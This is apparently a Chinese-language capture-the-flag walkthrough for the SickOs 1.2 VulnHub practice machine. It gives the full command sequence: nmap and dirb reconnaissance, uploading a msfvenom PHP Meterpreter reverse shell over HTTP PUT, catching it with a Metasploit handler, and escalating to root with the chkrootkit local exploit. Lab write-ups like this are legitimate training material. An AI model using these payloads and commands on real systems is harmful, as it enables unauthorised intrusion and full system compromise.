OSCP难度靶机之SickOs 1.2

虚拟机信息

虚拟机下载地址：https://www.vulnhub.com/entry/sickos-12,144/

虚拟机简介：这是 SickOs 后续系列中的第二个，独立于之前的版本，挑战范围是获得系统的最高权限。

目标：1个flag

级别：中级

1、主机探测

1、通过netdiscover检测主机IP地址

arp-scan 192.168.207.0/24

2、服务探测

1、通过nmap进行端口扫描

nmap -A -sS -sV -v -p- 192.168.207.137

查看开放20、80端口

3、渗透测试

3.1 HTTP渗透

访问80端口页面未发现有用信息，同时查看网页源代码未发现有用信息

dirb http://192.168.207.137

发现有一个test目录

curl -v -X OPTIONS http://192.168.207.137/test

支持PUT和MOVE选项

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.207.130 lport=443 -f raw

nmap -p80 192.168.207.137 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='shell.php'

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.207.130
set lport 443
run

访问站点获取到反弹shell连接

3.2 主机渗透

shell
python -c 'import pty; pty.spawn("/bin/bash")'

ls -la /etc/cron*

查看版本

chkrootkit -V

searchsploit chkrootkit

use exploit/unix/local/chkrootkit
set session 1
set lport 8080
run

已经获取到root权限

cd /root
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之SickOs 1.2